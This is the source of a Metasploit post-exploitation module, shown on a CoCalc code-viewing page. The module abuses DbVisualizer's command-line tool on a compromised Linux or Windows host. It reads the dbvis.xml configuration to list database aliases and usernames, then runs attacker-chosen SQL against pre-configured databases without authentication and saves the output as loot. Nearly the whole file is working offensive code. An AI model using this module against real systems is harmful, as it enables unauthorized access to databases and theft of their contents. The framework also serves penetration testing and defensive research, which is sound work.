CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/manage/dbvis_query.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Unix
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Multi Manage DbVisualizer Query',
15
'Description' => %q{
16
Dbvisulaizer offers a command line functionality to execute SQL pre-configured databases
17
(With GUI). The remote database can be accessed from the command line without the need
18
to authenticate, and this module abuses this functionality to query and will store the
19
results.
20
21
Please note: backslash quotes and your (stacked or not) queries should
22
end with a semicolon.
23
},
24
'License' => MSF_LICENSE,
25
'Author' => [ 'David Bloom' ], # Twitter: @philophobia78
26
'References' => [
27
['URL', 'http://youtu.be/0LCLRVHX1vA']
28
],
29
'Platform' => %w[linux win],
30
'SessionTypes' => [ 'meterpreter' ],
31
'Compat' => {
32
'Meterpreter' => {
33
'Commands' => %w[
34
stdapi_fs_stat
35
stdapi_sys_config_getenv
36
]
37
}
38
}
39
)
40
)
41
register_options(
42
[
43
OptString.new('DBALIAS', [true, 'Use dbvis_enum module to find out databases and aliases', 'localhost']),
44
OptString.new('QUERY', [true, 'The query you want to execute on the remote database', '']),
45
]
46
)
47
end
48
49
def run
50
db_type = exist_and_supported
51
unless db_type.blank?
52
dbvis = find_dbviscmd
53
unless dbvis.blank?
54
dbvis_query(dbvis, datastore['QUERY'])
55
end
56
end
57
end
58
59
# Check if the alias exist and if database is supported by this script
60
def exist_and_supported
61
case session.platform
62
when 'linux'
63
user = session.shell_command('whoami')
64
print_status("Current user is #{user}")
65
66
if (user =~ /root/)
67
user_base = '/root/'
68
else
69
user_base = "/home/#{user}/"
70
end
71
72
dbvis_file = "#{user_base}.dbvis/config70/dbvis.xml"
73
when 'windows'
74
user_profile = session.sys.config.getenv('USERPROFILE')
75
dbvis_file = "#{user_profile}\\.dbvis\\config70\\dbvis.xml"
76
end
77
78
unless file?(dbvis_file)
79
# File not found, we next try with the old config path
80
print_status("File not found: #{dbvis_file}")
81
print_status('This could be an older version of dbvis, trying old path')
82
83
case session.platform
84
when 'linux'
85
dbvis_file = "#{user_base}.dbvis/config/dbvis.xml"
86
when 'windows'
87
dbvis_file = "#{user_profile}\\.dbvis\\config\\dbvis.xml"
88
end
89
90
unless file?(dbvis_file)
91
print_error("File not found: #{dbvis_file}")
92
return
93
end
94
95
old_version = true
96
end
97
98
print_status("Reading : #{dbvis_file}")
99
raw_xml = ''
100
begin
101
raw_xml = read_file(dbvis_file)
102
rescue EOFError
103
# If there's nothing in the file, we hit EOFError
104
print_error("Nothing read from file: #{dbvis_file}, file may be empty")
105
return
106
end
107
108
db_found = false
109
alias_found = false
110
db_type = nil
111
db_type_ok = false
112
113
# fetch config file
114
raw_xml.each_line do |line|
115
if line =~ /<Database id=/
116
db_found = true
117
elsif line =~ %r{</Database>}
118
db_found = false
119
end
120
121
next unless db_found == true
122
123
# checkthe alias
124
if (line =~ %r{<Alias>([\S+\s+]+)</Alias>}i) && (datastore['DBALIAS'] == ::Regexp.last_match(1))
125
alias_found = true
126
print_good("Alias #{datastore['DBALIAS']} found in dbvis.xml")
127
end
128
129
if (line =~ %r{<Userid>([\S+\s+]+)</Userid>}i) && alias_found
130
print_good("Username for this connection : #{::Regexp.last_match(1)}")
131
end
132
133
# check the type
134
if (line =~ %r{<Type>([\S+\s+]+)</Type>}i) && alias_found
135
db_type = ::Regexp.last_match(1)
136
alias_found = false
137
end
138
end
139
if db_type.blank?
140
print_error('Database alias not found in dbvis.xml')
141
end
142
return db_type # That is empty if DB is not supported
143
end
144
145
# Find path to dbviscmd.sh|bat
146
def find_dbviscmd
147
case session.platform
148
when 'linux'
149
dbvis = session.shell_command('locate dbviscmd.sh').chomp
150
if dbvis.chomp == ''
151
print_error('dbviscmd.sh not found')
152
return nil
153
else
154
print_good("Dbviscmd found : #{dbvis}")
155
end
156
when 'windows'
157
# Find program files
158
progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles')
159
progfiles_x86 = progfiles_env['ProgramFiles(X86)']
160
if !progfiles_x86.blank? && progfiles_x86 !~ (/%ProgramFiles\(X86\)%/)
161
program_files = progfiles_x86 # x64
162
else
163
program_files = progfiles_env['ProgramFiles'] # x86
164
end
165
dirs = []
166
session.fs.dir.foreach(program_files) do |d|
167
dirs << d
168
end
169
dbvis_home_dir = nil
170
# Browse program content to find a possible dbvis home
171
dirs.each do |d|
172
if (d =~ /DbVisualizer[\S+\s+]+/i)
173
dbvis_home_dir = d
174
end
175
end
176
if dbvis_home_dir.blank?
177
print_error('Dbvis home not found, maybe uninstalled ?')
178
return nil
179
end
180
dbvis = "#{program_files}\\#{dbvis_home_dir}\\dbviscmd.bat"
181
unless file?(dbvis)
182
print_error('dbviscmd.bat not found')
183
return nil
184
end
185
print_good("Dbviscmd found : #{dbvis}")
186
end
187
return dbvis
188
end
189
190
# Query execution method
191
def dbvis_query(dbvis, sql)
192
error = false
193
resp = ''
194
if file?(dbvis) == true
195
f = session.fs.file.stat(dbvis)
196
if (f.uid == Process.euid) || Process.groups.include?(f.gid)
197
print_status('Trying to execute evil sql, it can take time ...')
198
args = "-connection #{datastore['DBALIAS']} -sql \"#{sql}\""
199
dbvis = "\"#{dbvis}\""
200
cmd = "#{dbvis} #{args}"
201
resp = cmd_exec(cmd)
202
print_line('')
203
print_line(resp.to_s)
204
# store qury and result
205
p = store_loot(
206
'dbvis.query',
207
'text/plain',
208
session,
209
resp.to_s,
210
'dbvis_query.txt',
211
'dbvis query'
212
)
213
print_good("Query stored in: #{p}")
214
else
215
print_error("User doesn't have enough rights to execute dbviscmd, aborting")
216
end
217
else
218
print_error("#{dbvis} is not a file")
219
end
220
return error
221
end
222
end
223
224